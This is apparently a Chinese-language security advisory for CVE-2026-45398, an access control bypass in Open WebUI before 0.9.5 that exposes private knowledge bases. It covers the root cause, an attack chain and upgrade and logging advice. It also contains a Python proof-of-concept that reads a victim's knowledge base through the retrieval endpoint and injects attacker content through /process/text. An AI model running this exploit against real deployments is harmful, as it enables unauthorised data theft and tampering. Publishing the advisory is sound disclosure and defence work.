IPBUF安全漏洞报告
English
CVE-2026-45398 CVSS 7.5 高危

CVE-2026-45398 Open WebUI访问控制绕过漏洞

披露日期: 2026-05-15

漏洞信息

漏洞编号
CVE-2026-45398
漏洞类型
访问控制绕过
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Open WebUI

相关标签

访问控制绕过IDOROpen WebUI信息泄露数据篡改

漏洞概述

Open WebUI 在 0.9.5 之前的版本中存在严重的访问控制绕过漏洞。由于 `_validate_collection_access()` 函数未对使用原始 UUID 命名的知识库集合进行权限校验,导致认证用户可以通过特定的检索和写入端点访问他人的私有知识库。攻击者只需获取目标 UUID,即可读取敏感数据或注入恶意内容,严重威胁数据安全。该问题已在 0.9.5 版本中修复。

技术细节

漏洞根因在于 Open WebUI 对不同类型集合名称的权限校验逻辑不一致。系统仅对带有 `user-memory-*` 和 `file-*` 前缀的集合调用 `_validate_collection_access()` 进行检查,而知识库集合直接使用原始 UUID 作为标识符,从而绕过了该验证层。尽管高层级的知识 API 能够正确拦截未授权访问,但底层的向量数据库检索接口及数据处理接口(如 `/process/text`、`/process/file`、`/process/web` 等)存在权限缺失。这使得攻击者能够利用已知的 UUID,直接向这些端点发送请求,绕过 API 层的拦截,实现对私有知识库内容的读取、覆盖或注入攻击。

攻击链分析

STEP 1
枚举与发现
攻击者通过某种方式获取目标私有知识库的 UUID(可能通过 URL 模式猜测、信息泄露或其他辅助手段)。
STEP 2
权限绕过
攻击者使用低权限账户向检索端点发送请求,利用 `_validate_collection_access` 未检查 UUID 格式集合的缺陷,绕过系统访问控制。
STEP 3
数据读取
通过 `/process/text` 或检索接口,读取目标知识库中的敏感信息。
STEP 4
数据篡改
利用写入接口(如 `/process/file`)向目标知识库注入恶意数据或覆盖原有数据,破坏知识库完整性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://localhost:3000" knowledge_base_uuid = "<TARGET_KNOWLEDGE_BASE_UUID>" # UUID of the victim's knowledge base attacker_session_cookie = "<ATTACKER_SESSION_TOKEN>" headers = { "Authorization": f"Bearer {attacker_session_cookie}", "Content-Type": "application/json" } # 1. Read content from private knowledge base (Retrieval) read_payload = { "collection_name": knowledge_base_uuid, "query": "test query" } print("[*] Attempting to read private knowledge base...") response = requests.post(f"{target_url}/api/v1/retrieval", json=read_payload, headers=headers) if response.status_code == 200: print(f"[+] Success! Leaked data: {response.json()}") else: print(f"[-] Failed with status: {response.status_code}") # 2. Inject/Overwrite content (Write) write_payload = { "collection_name": knowledge_base_uuid, "text": "Malicious content injected by attacker", "mode": "ingest" } print("\n[*] Attempting to inject malicious content...") response = requests.post(f"{target_url}/api/v1/process/text", json=write_payload, headers=headers) if response.status_code == 200: print(f"[+] Success! Content injected.") else: print(f"[-] Failed with status: {response.status_code}")

影响范围

Open WebUI < 0.9.5

防御指南

临时缓解措施
建议立即升级至 v0.9.5 或更高版本以修复此漏洞。如果暂时无法升级,应严格限制用户注册权限,并对系统日志进行审计,监控针对知识库 UUID 的异常检索和写入请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表